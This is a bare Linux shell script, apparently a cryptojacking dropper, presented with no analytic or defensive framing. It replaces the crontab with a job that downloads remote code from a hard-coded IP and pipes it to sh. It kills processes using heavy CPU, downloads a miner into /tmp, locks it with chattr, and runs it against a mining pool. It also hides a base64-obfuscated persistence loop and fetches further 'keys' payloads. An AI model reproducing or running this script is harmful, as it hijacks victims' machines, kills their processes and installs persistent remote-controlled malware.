#!/bin/sh
crontab -r || true && \
echo "*/55 * * * * (curl -s http://185.164.72.119/log_rotate.bin||wget -q -O- http://185.164.72.119/log_rotate.bin)|sh" > /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
ps aux | grep -vw httpp | awk '{if($3>40.0) print $2}' > /tmp/proc && while read procid; do kill -9 $procid; done < /tmp/proc
ps -fe | grep -w httpp | grep -v grep
if [ $? -eq 0 ]
then
pwd
else
chattr -i /tmp/httpp
rm -rf /tmp/httpp
rm -rf /tmp/.c
crontab -r || true && \
echo "*/55 * * * * (curl -s http://185.164.72.119/log_rotate.bin||wget -q -O- http://185.164.72.119/log_rotate.bin)|sh" > /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /tmp/httpp http://185.164.72.119/luk-cpu || wget -O /tmp/httpp http://185.164.72.119/luk-cpu
#curl -o /tmp/.c http://185.164.72.119/config.json || wget -O /tmp/.c http://185.164.72.119/config.json
chmod 777 /tmp/httpp
cd /tmp
/sbin/sysctl -w vm.nr_hugepages=1000
chattr +i httpp
./httpp -o 178.32.46.58:2222 --rig-id Linux_new --nicehash --donate-level=1 --max-cpu-usage=100 --cpu-priority 5 -k -B >/dev/null &
fi
#rm -rf /tmp/asap
#rm -rf /tmp/asap1
#rm -rf /tmp/keys
echo$IFS$()dGVzdCAtZiAvdG1wLzEgfHwgd2hpbGUgOjsgZG8gY3JvbnRhYiAtciB8fCB0cnVlICYmIGVjaG8gIiovNTUgKiAqICogKiAoY3VybCAtcyBodHRwOi8vMTg1LjE2NC43Mi4xMTkvbG9nX3JvdGF0ZS5iaW58fHdnZXQgLXEgLU8tIGh0dHA6Ly8xODUuMTY0LjcyLjExOS9sb2dfcm90YXRlLmJpbil8c2giID4gL3RtcC9jcm9uIHx8IHRydWUgJiYgY3JvbnRhYiAvdG1wL2Nyb24gfHwgdHJ1ZSAmJiBybSAtcmYgL3RtcC9jcm9uIHx8IHRydWU7IHRvdWNoIC90bXAvMTsgZG9uZSA+L2Rldi9udWxsICY=|base64$IFS$()-d|sh
#ps jfx | grep "curl" | grep -v "grep" | awk '{ print $3}' > /tmp/pidd && while read pidd; do kill -9 -$pidd; done < /tmp/pidd
test -f /tmp/keys || curl -o /tmp/keys http://178.32.46.58/keys || wget -O /tmp/keys http://178.32.46.58/keys && chmod +x /tmp/keys
test -f /tmp/asap1 || (curl -s http://185.164.72.119/keys.sh||wget -q -O- http://185.164.72.119/keys.sh)|bash >/dev/null &
echo "runing....."
